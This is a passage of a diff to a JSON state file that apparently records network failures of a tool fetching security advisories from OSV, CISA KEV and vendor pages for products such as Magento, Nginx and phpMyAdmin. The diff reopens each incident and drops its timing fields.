known)\"))", "status_code": null, "url": "", - "summary": "magento-open-source::OSV Magento Open Source::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 3.463 + "summary": "magento-open-source::OSV Magento Open Source::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1166,10 +1123,10 @@ "display_name": "Magento Open Source", "source_name": "Sansec Research", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1183,8 +1140,7 @@ "message": "HTTPSConnectionPool(host='sansec.io', port=443): Max retries exceeded with url: /research (Caused by NameResolutionError(\"HTTPSConnection(host='sansec.io', port=443): Failed to resolve 'sansec.io' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://sansec.io/research", - "summary": "magento-open-source::Sansec Research::network::HTTPSConnectionPool(host='sansec.io', port=443): Max retries exceeded with url: /research (Caused by NameResolutionError(\"HTTPSConnection(host='sansec.io', port=443): Failed to resolve 'sansec.io' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 3.464 + "summary": "magento-open-source::Sansec Research::network::HTTPSConnectionPool(host='sansec.io', port=443): Max retries exceeded with url: /research (Caused by NameResolutionError(\"HTTPSConnection(host='sansec.io', port=443): Failed to resolve 'sansec.io' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1193,10 +1149,10 @@ "display_name": "Mattermost", "source_name": "Mattermost Security Updates JSON", "source_kind": "json-feed", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1210,8 +1166,7 @@ "message": "HTTPSConnectionPool(host='securityupdates.mattermost.com', port=443): Max retries exceeded with url: /security_updates.json (Caused by NameResolutionError(\"HTTPSConnection(host='securityupdates.mattermost.com', port=443): Failed to resolve 'securityupdates.mattermost.com' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://securityupdates.mattermost.com/security_updates.json", - "summary": "mattermost::Mattermost Security Updates JSON::network::HTTPSConnectionPool(host='securityupdates.mattermost.com', port=443): Max retries exceeded with url: /security_updates.json (Caused by NameResolutionError(\"HTTPSConnection(host='securityupdates.mattermost.com', port=443): Failed to resolve 'securityupdates.mattermost.com' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 8.822 + "summary": "mattermost::Mattermost Security Updates JSON::network::HTTPSConnectionPool(host='securityupdates.mattermost.com', port=443): Max retries exceeded with url: /security_updates.json (Caused by NameResolutionError(\"HTTPSConnection(host='securityupdates.mattermost.com', port=443): Failed to resolve 'securityupdates.mattermost.com' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1220,10 +1175,10 @@ "display_name": "Mattermost", "source_name": "OSV Mattermost", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1237,8 +1192,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "mattermost::OSV Mattermost::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 10.344 + "summary": "mattermost::OSV Mattermost::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1247,10 +1201,10 @@ "display_name": "MediaWiki", "source_name": "MediaWiki Announce RSS", "source_kind": "rss-feed", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1264,8 +1218,7 @@ "message": "HTTPSConnectionPool(host='lists.wikimedia.org', port=443): Max retries exceeded with url: /hyperkitty/list/mediawiki-announce@lists.wikimedia.org/feed/ (Caused by NameResolutionError(\"HTTPSConnection(host='lists.wikimedia.org', port=443): Failed to resolve 'lists.wikimedia.org' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://lists.wikimedia.org/hyperkitty/list/mediawiki-announce@lists.wikimedia.org/feed/", - "summary": "mediawiki::MediaWiki Announce RSS::network::HTTPSConnectionPool(host='lists.wikimedia.org', port=443): Max retries exceeded with url: /hyperkitty/list/mediawiki-announce@lists.wikimedia.org/feed/ (Caused by NameResolutionError(\"HTTPSConnection(host='lists.wikimedia.org', port=443): Failed to resolve 'lists.wikimedia.org' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 1.716 + "summary": "mediawiki::MediaWiki Announce RSS::network::HTTPSConnectionPool(host='lists.wikimedia.org', port=443): Max retries exceeded with url: /hyperkitty/list/mediawiki-announce@lists.wikimedia.org/feed/ (Caused by NameResolutionError(\"HTTPSConnection(host='lists.wikimedia.org', port=443): Failed to resolve 'lists.wikimedia.org' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1274,10 +1227,10 @@ "display_name": "MediaWiki", "source_name": "OSV MediaWiki", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1291,8 +1244,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "mediawiki::OSV MediaWiki::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 1.7 + "summary": "mediawiki::OSV MediaWiki::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1301,10 +1253,10 @@ "display_name": "Medusa", "source_name": "OSV Medusa", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1318,8 +1270,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "medusa::OSV Medusa::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 5.225 + "summary": "medusa::OSV Medusa::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1328,10 +1279,10 @@ "display_name": "Moodle", "source_name": "OSV Moodle", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1345,8 +1296,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "moodle::OSV Moodle::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 1.666 + "summary": "moodle::OSV Moodle::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1355,10 +1305,10 @@ "display_name": "NestJS", "source_name": "OSV NestJS", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1372,8 +1322,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "nestjs::OSV NestJS::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 5.21 + "summary": "nestjs::OSV NestJS::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1382,10 +1331,10 @@ "display_name": "Next.js", "source_name": "OSV Next.js", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1399,8 +1348,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "nextjs::OSV Next.js::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 5.23 + "summary": "nextjs::OSV Next.js::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1409,10 +1357,10 @@ "display_name": "Nginx", "source_name": "CISA KEV NGINX", "source_kind": "kev-json", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1426,8 +1374,7 @@ "message": "HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json", - "summary": "nginx::CISA KEV NGINX::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 6.946 + "summary": "nginx::CISA KEV NGINX::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1436,10 +1383,10 @@ "display_name": "Nginx", "source_name": "NGINX Security Advisories", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1453,8 +1400,7 @@ "message": "HTTPSConnectionPool(host='nginx.org', port=443): Max retries exceeded with url: /en/security_advisories.html (Caused by NameResolutionError(\"HTTPSConnection(host='nginx.org', port=443): Failed to resolve 'nginx.org' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://nginx.org/en/security_advisories.html", - "summary": "nginx::NGINX Security Advisories::network::HTTPSConnectionPool(host='nginx.org', port=443): Max retries exceeded with url: /en/security_advisories.html (Caused by NameResolutionError(\"HTTPSConnection(host='nginx.org', port=443): Failed to resolve 'nginx.org' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 6.869 + "summary": "nginx::NGINX Security Advisories::network::HTTPSConnectionPool(host='nginx.org', port=443): Max retries exceeded with url: /en/security_advisories.html (Caused by NameResolutionError(\"HTTPSConnection(host='nginx.org', port=443): Failed to resolve 'nginx.org' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1463,10 +1409,10 @@ "display_name": "Node.js", "source_name": "CISA KEV Node.js", "source_kind": "kev-json", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1480,8 +1426,7 @@ "message": "HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json", - "summary": "nodejs::CISA KEV Node.js::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 5.174 + "summary": "nodejs::CISA KEV Node.js::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1490,10 +1435,10 @@ "display_name": "Node.js", "source_name": "Node.js Security Releases", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1507,8 +1452,7 @@ "message": "HTTPSConnectionPool(host='nodejs.org', port=443): Max retries exceeded with url: /en/blog/vulnerability (Caused by NameResolutionError(\"HTTPSConnection(host='nodejs.org', port=443): Failed to resolve 'nodejs.org' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://nodejs.org/en/blog/vulnerability", - "summary": "nodejs::Node.js Security Releases::network::HTTPSConnectionPool(host='nodejs.org', port=443): Max retries exceeded with url: /en/blog/vulnerability (Caused by NameResolutionError(\"HTTPSConnection(host='nodejs.org', port=443): Failed to resolve 'nodejs.org' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 5.218 + "summary": "nodejs::Node.js Security Releases::network::HTTPSConnectionPool(host='nodejs.org', port=443): Max retries exceeded with url: /en/blog/vulnerability (Caused by NameResolutionError(\"HTTPSConnection(host='nodejs.org', port=443): Failed to resolve 'nodejs.org' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1517,10 +1461,10 @@ "display_name": "Nuxt", "source_name": "OSV Nuxt", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1534,8 +1478,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "nuxt::OSV Nuxt::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 5.226 + "summary": "nuxt::OSV Nuxt::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1544,10 +1487,10 @@ "display_name": "OpenCart", "source_name": "OSV OpenCart", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1561,8 +1504,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "opencart::OSV OpenCart::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 3.463 + "summary": "opencart::OSV OpenCart::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1571,10 +1513,10 @@ "display_name": "OpenCart", "source_name": "OpenCart Releases", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1588,8 +1530,7 @@ "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /opencart/opencart/releases (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://github.com/opencart/opencart/releases", - "summary": "opencart::OpenCart Releases::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /opencart/opencart/releases (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 3.496 + "summary": "opencart::OpenCart Releases::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /opencart/opencart/releases (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1598,10 +1539,10 @@ "display_name": "OpenMage / Mage-OS", "source_name": "OSV OpenMage", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1615,8 +1556,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "openmage::OSV OpenMage::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 3.482 + "summary": "openmage::OSV OpenMage::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1625,10 +1565,10 @@ "display_name": "OpenMage / Mage-OS", "source_name": "OpenMage GitHub Advisories", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1642,8 +1582,7 @@ "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /OpenMage/magento-lts/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://github.com/OpenMage/magento-lts/security/advisories", - "summary": "openmage::OpenMage GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /OpenMage/magento-lts/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 3.46 + "summary": "openmage::OpenMage GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /OpenMage/magento-lts/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1652,10 +1591,10 @@ "display_name": "phpMyAdmin", "source_name": "OSV phpMyAdmin", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1669,8 +1608,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "phpmyadmin::OSV phpMyAdmin::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 8.655 + "summary": "phpmyadmin::OSV phpMyAdmin::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1679,10 +1617,10 @@ "display_name": "phpMyAdmin", "source_name": "phpMyAdmin Security Page", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1696,8 +1634,7 @@ "message": "HTTPSConnectionPool(host='www.phpmyadmin.net', port=443): Max retries exceeded with url: /security/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.phpmyadmin.net', port=443): Failed to resolve 'www.phpmyadmin.net' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://www.phpmyadmin.net/security/", - "summary": "phpmyadmin::phpMyAdmin Security Page::network::HTTPSConnectionPool(host='www.phpmyadmin.net', port=443): Max retries exceeded with url: /security/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.phpmyadmin.net', port=443): Failed to resolve 'www.phpmyadmin.net' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 8.67 + "summary": "phpmyadmin::phpMyAdmin Security Page::network::HTTPSConnectionPool(host='www.phpmyadmin.net', port=443): Max retries exceeded with 